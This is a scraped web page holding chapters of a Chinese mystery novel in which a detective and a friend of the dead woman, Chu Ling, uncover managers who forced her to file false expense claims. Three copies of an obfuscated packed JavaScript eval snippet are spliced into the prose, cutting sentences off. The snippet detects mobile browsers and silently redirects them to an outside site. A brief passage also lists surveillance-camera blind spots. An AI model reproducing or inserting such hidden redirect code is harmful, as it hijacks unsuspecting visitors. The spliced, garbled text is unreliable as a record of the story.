;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他沉默着调出楚零生前的银行流水,个别交易记录被他用红线圈了出来。八月底,有笔付款的支付对象是运动卖场所属的分公司账户,金额是50元。对应刚刚看到的销售记录,楚零购买的产品是登山绳,就是那条让年轻生命戛然而止的绳子。九月中旬,账簿显示她有一笔金额为10元的报销申请,想必就是买绳子的员工折扣。银行流水有相应的报销入账,虽然只有10元钱。 十月初卖场发工资,楚零刷卡买了第二件内购产品——一双新款篮球鞋。这是她送给顾锵然的生日礼物。同样的,账簿和银行流水有能对得上的报销记录。 边何凝视着银行流水中被圈中的支付记录,眉毛紧紧地拧在一起。第三笔付款对应的销售记录是衣服——一件六百左右的女士羽绒服,卡其色,S号。购买时间是十一月。他问过小刘,在案发现场是否见过这件羽绒服,对方的答案是否定的。他将羽绒服照片发给了楚零父母,等待他们的确认,楚零的遗物是他们收拾的。 除了这三样,楚零没再用银行卡买过任何卖场产品,但报销记录却不止这三样。卖场每月报销一次,一张报销单后面可以附多张发票。楚零的其他报销全部由现金支付,零零散散的共计不到两万元。 “报销为什么分着发?而且为什么用现金?”边何一边问,一边翻看报销申请,“符合规定吗?” “符合……”杨浩鑫的语气有点犹豫,“小额的没问题吧?” “你问我?”边何笑着瞥了他一眼,“楚零为什么要用不同的支付形式报销呢?有三笔是银行转账,其他却是现金?财务不觉得蹊跷吗?” “这是她的要求,我怎么知道。” “也是。你们公司还挺好说话的。” “人性化管理。”郭宇插嘴道,“员工有需求,我们尽量满足。” “咯咯咯”,这回笑出声音的是小刘。“快点吧。”他催促边何。没工夫和这两人磨洋工。晚上领导有局,若是案子有变数,他要赶回派出所向领导报告。 边何挠挠眉毛,明白对方的意思。“财务在吧?叫他过来。”他对杨浩鑫说,“需要他确认一些事情。” 杨浩鑫深吸一口气,旁边的郭宇也再次慌了神。“我给他发消息。”他的手在微微颤抖。 “快点儿。若财务下班了,或者这里不适合谈话,你们就跟我们走一趟。我们单位更宽敞,也更暖和。” “没有没有,财务在。”杨浩鑫咧开嘴,尴尬地笑笑。 边何瞥了杨浩鑫一眼,对方将好不容易打出的几个字删掉了。 17. 牛津词典4 库房的灯光不如会议室明亮,不是因为灯的原因,而是堆满纸箱和黑色防尘袋的货架一个挨一个,让本就不大的空间显得十分压抑。每天都会有保洁人员打扫库房,货架表面罕见尘土和垃圾,灯管在努力的散发着光亮,但不知为何,这样干净且安静的环境却令人感到不舒服。 库房安装了摄像头,但对于有经验的警察来说,一眼就能找到镜头死角。摄像头的正下方、货架的拐角处、廉价产品或重物附近,以及视觉边缘、强光直射,都可以有效躲避摄像头。这是反侦察的方法,也能帮警察判断嫌疑人的行动路线。只不过今日,边何躲避摄像头的目的只有一个——图个清净。 “楚零没有用员工价倒卖产品,她大概率是无辜的。” “大概率?” “是的,事情有些复杂了。” “什么意思?” 边何犹豫着怎么开口。 “不能告诉我是吗?” “不是,告诉你也无所谓。”边何盘腿坐在地上。叶微瑄收到他的微信后,就一直在库房等他,他不想让对方失望。 叶微瑄抱着膝盖抬起头,眼中闪烁着泪光。与刚刚不同的是,边何能在这道光里看见希望。可能这就是正义的力量吧,即使只是露出一个角,依然能鼓舞人心,就像微弱的烛火在黑暗的世界中闪耀。 判断楚零是否如报销凭证显示的那样,频频利用员工价倒卖产品并不难。边何与小刘用账簿对比销售记录,找到每笔内购对应的销售账单。大部分账单是用手机支付的,只有少部分是用现金。为了排除人为修改支付方式的可能,待财务到场,边何将内购当天对应的现金收款额与公司现金日记账进行比较,收入金额完全匹配。 那么问题来了,是谁在用手机买单?大部分报销记录在楚零的电子钱包和银行流水中无迹可寻。 “我可以向上级申请调查你们的银行账户和电子钱包。但我想,你们更想自己交待,毕竟主动坦白和被动发现的性质不同。”没什么语气的陈述句却拥有足够的杀伤力,郭宇和杨浩鑫听后瞬间缴械投降。 “我是经过楚零同意才做的。”真相摆在眼前,郭宇反复强调道。他张着嘴,就好像自己是因为无知才这么做。“她不同意我是不会逼她的,你们要相信我。”他手舞足蹈地解释,眼睛瞪得和脸一样圆,那泛红的目光分明在说:“我没错,是楚零的错。她不同意帮我,我就不会倒卖产品了。” 边何全程盯着对方的眼睛,就像在看戏。“被投诉的产品是什么?知道客人的身份吗?男的女的?把投诉客人的电话和产品照片发给我。” “是那辆自行车,这就发你链接。”郭宇掏出手机,“还有客诉电话……警察同志……” “怎么了?” “这事其实有点蹊跷。” 边何瞄了郭宇一眼,对方露出一个讨好般的笑容,不像是在故弄玄虚。他点开链接,页面上是一辆淡蓝色的公路自行车。车辆售价7500元,与报销单的发票金额一致。 “蹊跷是什么意思?这辆自行车是你俩谁卖的?”他问。 “您问对了!”郭宇激动地站了起来,吓了小刘一个激灵。 “坐下、坐下。”小刘不耐烦地摆摆手。 “我卖的,我认识客人。事实上,大部分向我们购买内购产品的客人都是熟客。楚零说她被投诉了,我立刻就去问客人。人家说没投诉,而且正打算买双骑行鞋,绝对不是他。可是,投诉电话能准确的说出自行车的型号,您说奇怪不奇怪?” “客人说没投诉?”边何吃了一惊,看向小刘,寻求意见。小刘张着嘴,下意识地摸向执法记录仪,将摄像头对准郭宇。“确认吗?”小刘问。郭宇忙不迭地点头。不能真是恶作剧吧,结果歪打正着了,边何心想。 郭宇见两位警察沉默了,举起右手放在耳边。“我发誓我说的是真的。我有买自行车客人的微信,你们可以直接问他。” “那客诉电话是谁打的?” “不认识啊。店长当着事业部的人、楚零和我,给投诉者回电话。对方却不接了。投诉电话有录音,楚零听了,只说不认识。但她可能是被吓到了,表情有些犹豫。事业部的人起了疑心,决定调查。后面的事你们都知道了。” “打电话的会不会是熟客的家属?”边何思忖着各种可能性。 “那位熟客单身,加入骑行圈就是为了找女朋友。他们骑行圈——” 不想听那些乱七八糟的事,他打断对方。“有没有可能是你们的员工?看楚零不顺眼的,或者看你不顺眼的。” “不会的。”沉默许久的杨浩鑫忽然开口。事情败露后,他变得少言寡语,缩着庞大的身体窝在椅子上,好似一根蔫了的萝卜。 他脸色阴沉,不看任何人。“除非是会员,销售记录是不会显示客人信息的。只有看到报销单,才知道楚零购买的是什么。能看到报销单的人没几个,只有我、郭宇、前店长和财务。我和郭宇自然不会,前店长接的电话也不会。” “财务?”卖场财务此时就在隔壁办公室,看对方刚才的状态,想必也是吓得够呛。 “财务也不会,我常请他吃饭。” 恐怕不止是吃饭,边何会意,没有拆穿对方话里的意思。整件事确实很蹊跷,投诉者能说出内购自行车的型号,却不是购买自行车的人。是客人在说谎,还是投诉者另有其人? “我们打算赔偿楚零的。”杨浩鑫冷不丁地冒出一句。 还算有点良心,边何心想。但是很快,他就发现自己想多了。 “就算是为我们自己的前途,也是要赔偿她的。”对方的语气竟然有些诚恳。 边何苦笑了一下,问:“楚零知道吗?” “知道。得知公司要开除她,我就和她提过私下赔偿。但她很固执,说只想留在公司。留在公司是不可能的,而且有这样的黑历史留公司也没发展。” “她就没想过揭发你们吗?” “没有。” “你们威胁她了?” “不是。公司要追究楚零的责任,责令她退回内购产品,或者按正常价格补齐金额。那些东西是我们买的,我们会帮她补。但我们帮她的前提是——她不能把我们供出去,不然我们死活都不会承认的。再说了,她本来就有错。无论结果是什么,她都不可能留在公司了。我和她说过利害关系,她不同意,后来干脆不理我了。” “明明是你们犯的错,却口口声声地说‘帮’?”小刘忽然起身,拳头猛地捶向桌子。 边何很少见小刘生气,这位年轻的“片警”平日总是笑嘻嘻的,一副人畜无害的模样。“别瞧不起我们‘片警’,上到大爷大妈,下到地痞流氓,我们都应对自如。论情绪稳定,谁也不如我们。”——对方经常这么夸自己。边何对此表示认可,但绝不是今天。 “你们好意思这么说?那女孩因为你们自杀了!”小刘几乎是在吼。他见过楚零尸体的惨状,眼底的怒意强烈而又真实。 “刘儿,坐。”边何拽了拽对方的衣角。小刘握着拳头,一动不动。边何起身将他按回座位,他才罢休,只是愤怒的一脚踹翻旁边的椅子。 “我问什么你说什么。”边何抬起眼皮,目光落在杨浩鑫的脸上,“楚零什么时候开始不理你的?” 杨浩鑫说了一个大概的日期,是楚零受害的前一周。“公司的意思是让她干到月底,我本打算找她再谈谈。但她和店长请假了,说是感冒。就是那个周末,她自杀了。” “周几请的假?” “周三。”这是之前回答过的问题。 边何回了一句“知道了”,与小刘采集郭宇和杨浩鑫的不在场证明。 楚零遇害当晚,郭宇和杨浩鑫下班后去了KTV,他们有KTV的消费记录。而且他们找了陪酒小姐,陪酒小姐也可以为他们作证。二人所言不假,只不过他们不仅交代了自己,那家提供陪酒服务的KTV也将面临停业整顿。 结束与郭宇和杨浩鑫的对话,边何让小刘带二人回派出所接受更详细的问询。他发现,案件的性质似乎没有任何改变。对于民警小刘来说,楚零依然是自杀,只是找到了自杀的原因。“替人背锅要被公司开除,走投无路选择自缢。”——小刘的结案报告上貌似有了一个像样的句号。 小刘满意的走了,边何却笑不出来。找叶微瑄之前,他先给投诉者打了一个电话。没有任何情感的声音从听筒一头传来——“您所拨打的号码已关机。” 回去查查机主是谁吧,实名制也就方便警察了,他心想。 …… “事情大概就是这样。”边何抽丝剥茧地对叶微瑄讲述了下午发生的事。关于客诉,他只告诉叶微瑄——楚零被投诉了,没有将疑点说与对方。 库房外有些吵,有孩子在对着墙踢球。与之相反的是,二人间的氛围却有些消沉。“郭宇为什么能够要挟楚零帮他倒卖内购产品,你能猜到其中的原因吧。” 叶微瑄垂下眼皮,“嗯”了一声,双手用力抓住膝盖。 楚零作为子公司的管理培训生接受卖场考核,郭宇和前任店长都是考核人。他们的意见对楚零后续进入区域子公司起着至关重要的作用。郭宇正是利用这一点,对楚零威逼利诱,迫使楚零帮他报销已倒卖的内购产品。杨浩鑫与郭宇交好,两人是狼狈为奸。 有些话边何不好直说。楚零是一个成年人,有能力拒绝和反抗上级的不合理要求,却出于各种原因没有。这导致郭宇和杨浩鑫最多面临少许的民事赔偿,很难追究他们的刑事责任。而且,有件事令边何非常在意。楚零明明都要失去工作了,却依然选择隐瞒内购的真相,实在是令人感到费解。 “他们人呢?”叶微瑄问。 “被小刘带回所里了,还有些细节需要他们交待。小瑄……” “说。” 边何的表情很严肃。他看向被足球踢中的墙,低声说:“你我都知道,楚零不是自杀。从目前的证据看,郭宇和杨浩鑫不是杀害楚零的凶手。” “为什么这么说?”见边何有些犹豫,叶微瑄泄气般地向后一靠,“不能说就算了。”好烦,她只恨自己不是警察。 “他们没有作案时间。另外,楚零之所以被怀疑自杀,是因为现场没有挣扎的痕迹。杨浩鑫和郭宇若与她交好,她或许会让二人进家门,但事实不是。” 的确是这样。楚零不会轻易带人回家,尤其是异性。叶微瑄认可边何的话。可如果是这样,到底是谁杀害了楚零?熟人作案、不是同事,岂不只有朋友了?兜兜转转竟又回到起点,顾锵然、马暗尘、陶涂涂的脸浮现在叶微瑄的脑海中。怎么可能啊?她不愿意相信。 “不管怎么说,郭宇和杨浩鑫可能是造成楚零第一次自杀未遂的人。”这话听上去像是安慰,连边何自己都这么认为。 叶微瑄没有理会对方的安慰。她机械般地摆弄鞋带,解开又系上。“零零很重视这份工作。她和我说过,这份工作有发展前途。她打算在这家公司好好做下去。我猜,她不想离职是因为不甘心。” 是这样么?边何不这么认为。人在没钱的时候,可以做的选择不多。不然面对上司的威逼利诱,楚零大可一走了之。或许她只是在拖延, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506584|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春节前的就业机会相对较少。 边何将想法藏在心里,说:“这个案子有很多疑点。我们姑且认为郭宇和杨浩鑫的行为是造成楚零割腕的原因,但目前找不到这件事和谋杀的关联。说来说去,我们要找的是杀害楚零的凶手。” 边何说的没错,他们要找的是凶手。叶微瑄用双手捂住脸,脑袋好疼。“别碰我。”旁边的人伸出胳膊,试图揽她,被她拒绝了。不知过了多久,她抬起头。“边何。”她闷声叫对方的名字,“我不认同你的想法。” 边何好奇地“哦”了一声,示意对方说下去。 “我问你,零零为什么至死都没有主动辞职?” “因为她需要这份工作,或者就像你说的不甘心。” “那我再问你,她连一份工作都不肯放弃,又怎么会忽然放弃生命?” “啊?”边何心里一惊。 “她替人背锅,承受着巨大的压力却坚持留在公司。那她为什么要割腕呢?不矛盾吗?” 他被问住了,一脸茫然。他似乎从未以这样的角度想过这件事。“你的意思是?” “那俩人不配!”叶微瑄露出一副倔强的表情,“零零绝不会因为他们而自杀!这家公司也不配,他们辜负了零零的期待!” 感性有时是会打败理性的,边何咽了一下口水,叶微瑄说的有道理。 “我问你。”叶微瑄又开口了,倔强的表情变得认真,“你刚刚说零零大概率是无辜的,为什么是大概率?” 经叶微瑄提醒,边何回过神,他掏出平板电脑。“是这样,目前尚有一件内购产品不能确认是楚零买给自己的。”他调出羽绒服的图片,放大后递给叶微瑄,“有印象吗?楚零一共用员工价买过三样产品,这是最后一件,是十一月买的。” 叶微瑄向前探头,仔细看向屏幕上的图片。她先是摇摇头,后又抿了抿嘴唇,目光中带着犹豫。没见楚零穿过,但羽绒服的的款型有点眼熟,好像在哪见过。 “楚零出事的那个周末,你去找过她。她在家穿的不是这件吧?”边何用征求意见的语气问。 “不是,那件是白色的,零零穿好多年了。”她努力地回忆,没能想起任何。“而且那件白羽绒服是M号,还是我陪她买的呢。零零虽然身材娇小,但喜欢穿宽松的衣服。有时她还会穿锵然的衣服,说是有阳光的味道。” “最后一句就不用在单身狗面前提了。”边何在心里说道,他的五官拧巴成了“米”字。 “言归正传,这件羽绒服给我一种似曾相识的感觉。” “什么意思?” “就是很熟悉。” “没关系。”边何对此不以为意,“羽绒服就在卖场的货架上挂着呢,觉得眼熟很正常。” “啊?还卖呢?” 到底是谁在卖场工作,边何懵了。 “你别这么看我嘛。卖场这么大,我哪记得所有产品。再说了,我又不打算常干,我是为了零零才来的。我不喜欢这里。” “理解。” “怎么说呢?”叶微瑄的视线依然落在平板电脑上,“我好像见人穿过这件羽绒服,就是想不起在哪了。” “其实我也觉得眼熟。”边何说的是实话。案发后,他逛过卖场多次,他不确定是不是墙上挂着的羽绒服给了他这样的印象。“人类记忆偶尔会因才见到的东西被篡改,发生扭曲。以为见到过,其实是错觉,人们称之为曼德拉效应。” 是有这么个说法,叶微瑄用食指揉了揉两侧太阳穴。 模糊的影像在大脑中闪烁,黑色、白色、卡其色……穿卡其色羽绒服的人相较于黑色羽绒服是少数,所以当这个颜色出现时,很容易被注意到。叶微瑄越来越确定,有人在她面前穿过这件羽绒服。 “S码的……”她小声念叨羽绒服的尺码。 “也没准是楚零买给母亲的。”边何推测道,“我给楚零父母发过消息,等会儿就知道遗物中有没有这件羽绒服了。对了,你穿多大号的?” “M或者L,我穿不了小号的衣服。你要看我手机上的订单吗?” “不用。”边何不好意思地挠挠头,“算了,还是看一下吧,毕竟我是警察。”他自言自语道。师父要是知道他这种表现,恐怕会大骂他一顿。 叶微瑄倒是不介意,而且难得的露出笑容。她在购物平台的订单中搜索“衣服”两字,将手机交给边何。对方很快就还给她了,一个劲地表示完全没问题。 她没忍住笑出声音,“干嘛这么紧张?” “没有。”边何单手搓了搓发红的脸,局部更烫了。小瑄都穿不了S号的,陶涂涂就更不会了。无论是身高还是胖瘦程度,那位潇洒的女人都比叶微瑄大一号。羽绒服应该不是送给这二人的,他用排除法得到了想要的结论。 这时,不远处传来“滋溜”一声,库房的门开了。 五十多岁的女人是这家卖场的保洁,她推着清洁车走进库房。存放大型运动器械的角落是每次打扫库房的起点,今天也不例外。“哎呦,吓死我了!”她来到习惯的位置,被坐在地上的一男一女吓个正着。 怎么跑库房谈恋爱来了,现在的小年轻真是没法说。她瞪了那二人一眼,转身擦起展示用的多功能跑步机。 有旁人在,他们不好继续聊下去了。“我得回去工作了。”叶微瑄起身,小声说道,“整理完货物就在这儿等你,很久了,出去准被骂。” “习惯就好。”边何伸出手,想让叶微瑄拉自己一把。 叶微瑄没注意,嘟囔着“讨厌”,掸了掸屁股,弄了他一脸灰。 18. 牛津词典5 部门经理当天并未因叶微瑄在库房停留太久而斥责她。对方知道边何也在库房,旁敲侧击的询问他们聊了什么。“问我认不认识楚零。”“我能知道什么呀?”“和警察有什么可说的。”她含糊其辞地糊弄过去了。 令叶微瑄感到意外的是,自这天起,部分同事对她的态度变得热情许多。周末是运动卖场最繁忙的日子,仍有不少同事主动找她聊天,甚至在周日下午邀请她喝办公室下午茶。噎人的老字号点心、廉价的速溶咖啡、只有卷芯菜的章鱼小丸子,地上放着大家东拼西凑的食物,爽朗的笑声充斥在卖场无人问津的角落。 “我都憋死了。”不知是谁嚷嚷了一句,“终于可以提楚零的名字了。” “是啊,那女孩挺好的,和郭经理、杨店长不是一类人。” “少来,你以前可不是这么说的。” “行了,你俩。”一个体型微胖的女生坐在瑜伽垫上,手中的竹签插着章鱼小丸子。丸子里根本没有章鱼肉,但十元钱六个的价格颇具诱惑力,她常买。“小瑄你尝尝,挺好吃的。”她朝叶微瑄推了推纸盒,仰头露出一个实在的表情。 “好哒,谢谢。”叶微瑄欣然接受对方的好意。郭宇和杨浩鑫再也没有出现过,卖场的氛围轻松不少,不知是不是错觉,竟有种雨过天晴的感觉。 郭宇和杨浩鑫利用员工价倒卖产品、要挟下属报销是人尽皆知的事。事实上,敢这么做的不止他们。叶微瑄也是才知道,不少新来的同事都替自己的部门经理做过同样的事。 “真是没想到,警察能查到咱们公司内部。”坐对角线的男同事说话了。他长了一张国字脸,负责露营区的售卖工作。“警察来的时候吓我一跳。前两天我刚帮郭宇报销了一件速干衣,真担心被查出来。” “放心吧,警察没那么闲。如果不涉及命案,他们才不管公司的事呢,亏钱的又不是他们。”微胖的女同事随口说道,“不过我很好奇,他们是怎么知道的?会不会有人偷偷举报?若真是如此,我敬这位义士。” “咳、咳、咳。” “慢点儿吃。”女同事看向叶微瑄,“是不是挺好吃的?这家店就在咱们这层,卖花生的边上。” “好、好吃。”叶微瑄不小心呛着了,喝了一口速溶咖啡。这是放了多少糖精啊,齁甜齁甜的。 “现在想想,楚零好可怜。”耳边传来一声叹息,“我们一起买过奶茶。” “是啊,我和她吃过饭呢。”有人接下话茬,“那女孩做饭可好吃了,我尝过她做的红烧鸡翅,比我妈做的好吃。” “巧了,我吃过她做的卤鸡爪,说是老家的配方。为了让她再卤几次,我送给她一个饭盒,想着她下次能多做点,我好带回去给我闺女尝尝。”国字脸男同事哈哈大笑,众人也笑作一团。笑声过后,他的神情变得落寞。“说实话,她自杀我挺难过的。我只恨自己不够勇敢,没能早点向警察说出真相。” “不赖你。你这拖家带口的,回头被上边穿小鞋怎么办。”微胖的女生将竹签扔进空盒,力道有点大,签子弹了出来。楚零刚出事时,杨浩鑫主持招开全店会议。开会的目的只有一个——提醒员工闭上嘴巴。 原来是这样,叶微瑄在心中无数次感慨。正如男同事说的那样,良知与善意始终存在,但生存和现实没给人们太多选择,导致他们连开口都小心翼翼。她不禁扪心自问,如果她也在卖场工作,而楚零不是她的朋友,她会怎么做?她会选择仗义执言吗? 答案无从知晓。她不想了,她担心答案令自己感到失望。她笑着看向几个同事,忽然有点开心。至少她发现,楚零在卖场被善待过。那些遗憾错过葬礼的同事们,正在用一种特殊的方式表达追思之情。 她一言不发地坐在原地,就像不认识楚零的陌生人,听着前几天还很陌生的同事讨论对方。难怪零零总能发现好喝的奶茶,原来是有人和她分享;难怪零零总是让她试菜,原来是去讨好同事了;难怪对方只分她五个新卤的鸡爪,原来是有人等着呢。 “你们说,郭经理和杨店长——” “别经理、店长的了。你不讨厌那俩人啊,他们肯定会被开除。可算走了。” “是哦。你们说,他们走了谁会成为新老大?” “不会空降一个吧?” “没准。我听说……” 话题变了,偷懒时间也很快结束。不是所有人都会为领导不在而高兴,就比如:站在远处冷眼旁观的常颖。叶微瑄发现,常颖眉骨间的皱纹更深了,尤其是在他们畅所欲言、聊天吵闹的时候。 她回到岗位。今天的班次是下午两点到六点,周日晚上客人不多,正好早点回家准备明天的面试。 “节前还找的到工作吗?不行过年再说吧。正好要和亲戚们走动,看看谁能帮忙安排一个。工资多少无所谓,重要是稳定。”昨天丘静给叶微瑄打电话,叶建文在电话旁说了两嘴。“用不着。”听筒中叶微瑄的声音有些生气,父亲却再次开口:“我和你妈说话呢,没和你说。” 烦死了。想起父亲愁眉苦脸的模样,叶微瑄就倍感压力。明天的面试非通过不可了,心跳莫名的变快,她有点紧张。她倚着货架,一张颇具安慰的脸适时地浮现在脑海中。 与边何的微信聊天停留在前天。“你在库房等我。”——这是二人的最后一条聊天记录。边何离开运动卖场后,再也没有找过她。现在是周末,边何是在调查楚零的案子还是休息了?是不是不打扰会比较好?可不打扰就无法知道案情进展。到底是谁杀害了楚零,至今仍是一个谜。还是发消息问问吧,她心想。 “在吗?零零的案子有眉目……”不行,不能这么发,语气像在要求对方。“我发现同事们都还不错……”这是要说什么呢?边何那么忙,还要和对方扯闲天吗?她反反复复地删掉已输入的文字,思考了一会儿,最终只发了三个字——“在干嘛?” 心里有事很难好好工作,叶微瑄很快意识到给边何发消息是个错误的选择。她不再担心明天的面试,却开始频频翻看手机。但是,今天的手机像是和她作对似的十分安静,就连马暗尘都没有频繁找她。马暗尘又开始每天和她说“早安”、“晚安”了,还会与她分享日常。偶尔,对方也会去曾经的五人群挑起话题。可惜的是,那个群早已失去昔日的活力。 除此之外,经常找她麻烦的常颖今天也很沉默了。叶微瑄望向徒步区,常颖在给客人介绍徒步鞋的功能。若对方现在来找她麻烦,说不定她会心存感激。 快下班的时候,店内涌进一小波客人。几个带孩子的家长走向露营区,两对年轻女孩则是前往另一侧,那边的墙上挂着羽毛球拍。相较之下,跑步区的客人多是形单影只。 叶微瑄的身旁,一位精瘦型的中年女性摘下几条不同型号的髌骨带。客人仔细比对了一会儿,挑中其中一款,并将其余髌骨带原封不动地挂了回去。离开前,她朝叶微瑄露出一个和善的笑容。 “我很喜欢这样的客人,知性大方,即使产品出问题,也不会咄咄逼人的索要额外赔偿。” 温柔的声音从身后传来,叶微瑄立刻回头。眼前的陌生女人大概三十多岁,身材娇小。对方戴了一顶棒球帽,扎着低马尾,身着蓝色牛仔裤和灰色卫衣,看上去很运动。女人嘴角上扬,笑容十分真诚。 “您是?” “嘘。”女人晃晃手中的口罩,“我知道你。方便聊聊吗?” “您知道我?” “我认识小楚——楚零。她给我看过你的照片,说你是她最好的朋友。” “什么?”叶微瑄小声惊呼。她呆愣在原地,看着面前的人,脑海中闪出无数个可能性。“您是……”对方的身份不难猜,她好像知道了。 陌生女人说要请她吃饭。她没能拒绝,对方亲切地称呼楚零为“小楚”,关系好像很是亲近。 二人约在购物中心三层的泰国餐厅。女人说,楚零刚入职时,她请楚零在那里吃过一顿。“黄咖喱拌饭好好吃。”她始终记得楚零说这话时的模样。青春洋溢的应届大学生,漂亮的眼睛笑成一条缝,缝隙中的光清澈、明亮,能看见希望。这就是楚零留给她的第一印象。 下班时间一到,叶微瑄便匆忙赶往餐厅。餐厅不大,门口的墙面刻着泰国人信奉的成愿之神——四面佛。店内桌椅多为木制,灯饰装潢以金属色为主,颇具东南亚风情。在几张木头面具的下方,叶微瑄发现了那个女人。对方身后立着几扇巨大的芭蕉叶,叶片宽厚油亮,自然散发的热带气息给寒冬带来一丝暖意。女人也看见她了,朝她挥挥手,并向旁边的服务员点头示意。 “最近发生很多事,想必你也知道。我想着回来看看,结果一眼就看见了你。在我们这个行业,认脸是基本技能。” “难怪凭照片就能认出我。” “是呀。”女人笑道。 “您是前任店长,对吧?”即使答案八九不离十,叶微瑄仍用征求意见的语气问。见女人点头,她轻吐一口气,内心叹道:“果然啊。” “怎么了?” 对方不知道她与边何认识,有的心思不能表露出来。“没有。”她双手撑在卡座沙发上,挪了挪屁股,“零零和我提过您,说店长姐姐对她特别好,说您是她的老师。” “是么……”女人抬起眼皮,脸上浮现自责的神色,“她确实喜欢叫我‘老师’。” 这时服务员来了,将一小筐炸虾片放在桌上,并为二人的杯子倒满柠檬水。由于不太熟,二人间的氛围似乎有些尴尬,直到菜渐渐上齐,女人才又抬起头。 她们一边吃,一边聊着楚零。 “作为前辈,很想好好培养她。”曾是店长的女人这样说道,“那孩子单纯、善良,有想法,对每个人都很好。” 叶微瑄表示赞同。吃到一半的时候,对方叫了米饭。 “妈妈——我要吃虾片。”稚嫩的声音从邻桌传来。三四岁的小女孩坐在儿童椅上,张开双臂等待大人投喂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506585|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶微瑄笑着告诉女人,楚零喜欢小孩,结婚生子在楚零的人生计划内。对方听闻,舒展的眉头再度拧紧。 叶微瑄早就察觉到了,前任店长有话想说,只是在犹豫。其实她也有点担心,对方看上去是个很好的人,她怕听到令她无法接受的事实真相。 女人将视线从邻桌收回,摆弄起好看的金属筷子。“郭宇和杨浩鑫要被公司开除了。”她轻声说道。见叶微瑄在听,她下决心似地深吸一口气,只是声音很小,叶微瑄不得不向前探了探脑袋。“昨天警察找过我,问我对他们的所作所为是否知情。早知道是这样,我当初就该把事情的原委说出来。” 是要说这个啊。现在说这些有什么用呢?叶微瑄苦笑了一下,坐直身体,不知如何回应对方。 “其实……”女人夹起一块猪颈肉,握着筷子的手在微微颤抖,“其实我知道的。”她将猪颈肉塞进嘴里,大口地嚼着。 “我知道的。”——这是什么意思?叶微瑄的心跳漏了一拍,随即快速跳动起来。她没有动筷子,而是直直地盯着面前的女人。边何曾猜测,前任店长可能有愧于楚零。可对方看上去还不错啊,虽然才认识不久。“人不可貌相”——这五个字忽然出现在她的脑海中。 “小楚喜欢吃黄咖喱。她和我说,还是大城市好,她都没吃过泰国菜。”女人为叶微瑄盛了一碗饭,细长的米粒冒着香气,“趁热吃吧。” “你说你知道,具体指的是什么?”叶微瑄没有接受对方的好意,心脏怦怦作响,“是不是……”她哽住了。 “对不起,就是你想的那样。” “你知道零零是冤枉的?”她不甘心地问道,仿佛在给对方机会。 “我知道。” 瞬时,叶微瑄的大脑一片空白。 “是我害死了小楚。”女人放下筷子,做了一次深呼吸,“我在卖场工作十几年。和你们不同,我不是大学生,而是高中毕业就跑到燕京打工。我当过餐厅服务员,在电影院卖过爆米花,也去超市做过收银员,最后到了这家运动卖场。卖场都是年轻人,我很喜欢卖场的工作氛围。” 她做了一个停顿,喝了一口柠檬水,像是在鼓励自己说出后面的话。“可能是有点天赋吧,我的业绩很不错,客人认可我,同事也喜欢我。我从普通员工做到经理助理,又成为部门经理。两年前,我成为这家店的店长。上面替我申请出国学习的名额,若小楚没出事,明年的今天我可能正在参观海外零售巨头的办公大楼。” 叶微瑄抬起头。她几乎能猜到对方后面要说的话了。 “你知道这样的学习机会对我来说有多么不易吗?很多人说,当今社会学历不值钱。可是,当你想往上爬的时候,当你没有任何背景,当你的家人不能托举你时,你会发现那张纸就是一道坎。‘抱歉,我们优先考虑研究生。’——他们可能不是真的需要研究生,他们只是在拿你的弱点搪塞你,好把机会留给别人。” “所以就要牺牲零零吗?”叶微瑄感到烦躁。她坐在这里不是为了听陌生人发牢骚的。几分钟前,她对眼前的女人充满好感。可惜的是,好感随着一句“我知道”全然消失了。 “苦心经营十几年,终于得到去海外镀金的机会。上个月,事业部的人下来检查,其实也是让我做好交接准备。我们在办公室讨论新店长的人选,就是这时接到了投诉电话。当时我把小楚叫到办公室,她说她没做过倒卖产品的事。” “这难道不是事实吗?” “是事实。”女人露出一个无力的笑容,“只是还有一个更大的事实,而这个更大的事实是不能让事业部的人知道的。他们一旦知道,就会发现卖场有问题。卖场的一切看着井井有条,其实早就管理失能了。他们会对我感到失望,我会失去出国的机会。” 果然是这样。“你早就知道部分员工在倒卖产品,并且纵容他们的行为,对吗?” “是的,或许这就是得人心的原因吧。要让员工们喜欢我,至少在小楚出事前我始终是这么认为。我不想得罪人,尤其是朝夕相处的同事。更何况,一个人出错和一群人出错的性质不同。我只希望这件事赶紧结束。” 无语。叶微瑄感到愤怒,一口闷气随时要冲破胸口。若不是场合原因,她就要骂对方了。“零零那么喜欢你,你却看着她被冤枉。你不想得罪人,却毫不关心她的感受?为了达成自己的目的,你让她抗下所有罪名?” 很难想象,被信任的店长背叛是怎样一种感受。“为什么啊?”叶微瑄攥紧拳头,“就因为零零善良?人好?好欺负吗?所以她就该被牺牲吗?” “是我的问题。” 